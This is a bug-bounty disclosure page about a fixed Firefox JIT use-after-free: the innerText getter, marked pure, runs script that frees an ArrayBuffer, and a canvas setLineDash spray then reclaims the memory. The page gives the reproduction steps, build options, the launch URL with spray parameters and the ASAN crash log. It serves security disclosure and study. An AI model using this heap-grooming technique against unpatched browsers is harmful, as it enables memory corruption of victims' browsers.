HTMLElement.innerText and outerText are marked [Pure] but can run script via MozScrolledAreaChanged
The innerText and outerText getters are marked as pure, so the JIT can hoist a typed-array backing-store pointer across them, even though reading innerText flushes layout and fires a MozScrolledAreaChanged event whose handler can run script. By transferring an XHR-backed ArrayBuffer inside that handler and then spraying canvas line-dash arrays, the freed buffer is reclaimed and a stale typed-array store corrupts an nsTArray header, leading to an out-of-bounds read in getLineDash.
Originally disclosed on Mozilla
- Fixed in 6 days
- Paid in 20 days
- Disclosed after 6 days
Created attachment 9590866 firefox-innertext-xhr-canvas-dash-uaf.html
Summary
- Optimized JIT code hoists a typed-array backing-store pointer across an
HTMLElement.innerTextgetter. innerTextflushes layout and dispatchesMozScrolledAreaChanged.- The event handler runs script and calls
ab.transfer(0)on an XHR-backedArrayBuffer. - The original 2048-byte ArrayBuffer backing allocation is freed.
- A canvas
setLineDash()spray reclaims that same heap address as annsTArray<gfx::Float>buffer. - The optimized loop resumes and performs the stale typed-array store into the reclaimed allocation.
- The stale write overwrites the
nsTArrayHeaderwith0x4141414141414141. getLineDash()later trusts the corruptedmLengthand reads past the real 2048-byte allocation, producing ASANheap-buffer-overflow.
Reproduction
testd commit version: 0e1add40350764cc84e5d7e2e2ee94906c7d2734
build firefox with:
mk_add_options MOZ_OBJDIR=/home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser
ac_add_options --enable-project=browser
ac_add_options --enable-address-sanitizer
ac_add_options --disable-install-strip
ac_add_options --disable-jemalloc
ac_add_options --disable-crashreporter
ac_add_options --disable-profiling
# Keep stack use reasonable while retaining useful line information.
ac_add_options --enable-optimize="-O1"
ac_add_options --enable-debug-symbols=-gline-tables-only
# Optional but useful for GC-sensitive SpiderMonkey reproduction work.
ac_add_options --enable-gczeal
prepare server with attached html:
truncate -s 2048 payload.bin
python3 -m http.server 8765 --bind 127.0.0.1
make firefox render:
ASAN_OPTIONS='quarantine_size_mb=0' /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/firefox 'http://127.0.0.1:8765/firefox-innertext-xhr-canvas-dash-uaf.html?warmup=2200&warmupIters=20&attempts=20&triggerIters=120&payloadSize=2048&dashLength=510&sprayCanvases=8000&getDashStride=1' > asan.log 2>&1
Result:
REPRO_STATUS mode=xhr-canvas-dash-uaf
REPRO payloadSize=2048
REPRO dashLength=510
REPRO preTouch=false
REPRO warming calls=2200 iters=20
REPRO warmup 250/2200
REPRO warmup 500/2200
REPRO warmup 750/2200
REPRO warmup 1000/2200
REPRO warmup 1250/2200
REPRO warmup 1500/2200
REPRO warmup 1750/2200
REPRO warmup 2000/2200
REPRO warmup done
REPRO starting attempts=20 sprayCanvases=8000
REPRO_XHR status=200 bytes=2048
=================================================================
==1187140==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x708feed95680 at pc 0x6ebfdaa3bcbe bp 0x7fff35789e60 sp 0x7fff35789e58
READ of size 4 at 0x708feed95680 thread T0 (Isolated Web Co)
/home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
#0 0x6ebfdaa3bcbd in Construct<const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:554:36
#1 0x6ebfdaa3bcbd in AppendElementInternal<nsTArrayInfallibleAllocator, const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:2587:3
#2 0x6ebfdaa3bcbd in AppendElement<const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:2717:24
#3 0x6ebfdaa3bcbd in mozilla::dom::CanvasRenderingContext2D::GetLineDash(nsTArray<double>&) const [...]firefox/dom/canvas/CanvasRenderingContext2D.cpp:5514:15
#4 0x6ebfda25a7f8 in mozilla::dom::CanvasRenderingContext2D_Binding::getLineDash(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) [...]/dom/bindings/CanvasRenderingContext2DBinding.cpp:6347:24
#5 0x6ebfda8460c5 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) [...]dom/bindings/BindingUtils.cpp:3217:13
#6 0x6ebfe3cc2d20 in CallJSNative /home/slave/firefox-bug-bounty/firefox/js/src/vm/Interpreter.cpp:498:13
...
0x708feed95680 is located 0 bytes after 2048-byte region [0x708feed94e80,0x708feed95680)
allocated by thread T0 (Isolated Web Co) here:
#0 0x634ce9eeb7ec in realloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:81:3
#1 0x6ebfd3b3f23d in Realloc /home/slave/firefox-bug-bounty/
...
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:554:36 in Construct<const float &>
Shadow bytes around the buggy address:
0x708feed95400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x708feed95680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1187140==ABORTING
[Parent 1186885, IPC I/O Parent] WARNING: process 1187140 exited with status 1: file firefox/ipc/chromium/src/chrome/common/process_watcher_posix_sigchld.cc:155
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the innerText and outerText getters are annotated as pure even though they flush layout and can dispatch MozScrolledAreaChanged, letting the JIT hoist a typed-array data pointer across a call that runs script and frees the backing store.
Impact
The corrupted nsTArray length causes an out-of-bounds read in getLineDash; the report demonstrates a memory-safety violation under ASAN and does not claim full code execution.
What the attacker needed
Firefox built with ASAN; Attacker-controlled web page; Victim loads the page
How it was found
- Build Firefox with AddressSanitizer and the given build options.
- Serve the attached HTML page from a local HTTP server with a 2048-byte payload file.
- Load the page in the ASAN build with the warmup, attempt, spray and dash parameters in the URL.
- The page warms up the JIT, then triggers the innerText getter so the event handler transfers the XHR ArrayBuffer.
- A canvas setLineDash spray reclaims the freed allocation, the stale store corrupts the nsTArray header, and getLineDash reads out of bounds, producing the ASAN report.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox's JavaScript engine tries to speed up loops by assuming certain property reads have no side effects. Here it wrongly assumed reading innerText could not run any code, so it kept using an old pointer to memory that had since been freed and reused for something else. Writing through that stale pointer corrupted a canvas data structure, and a later read went past the end of the buffer, which the memory checker caught.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.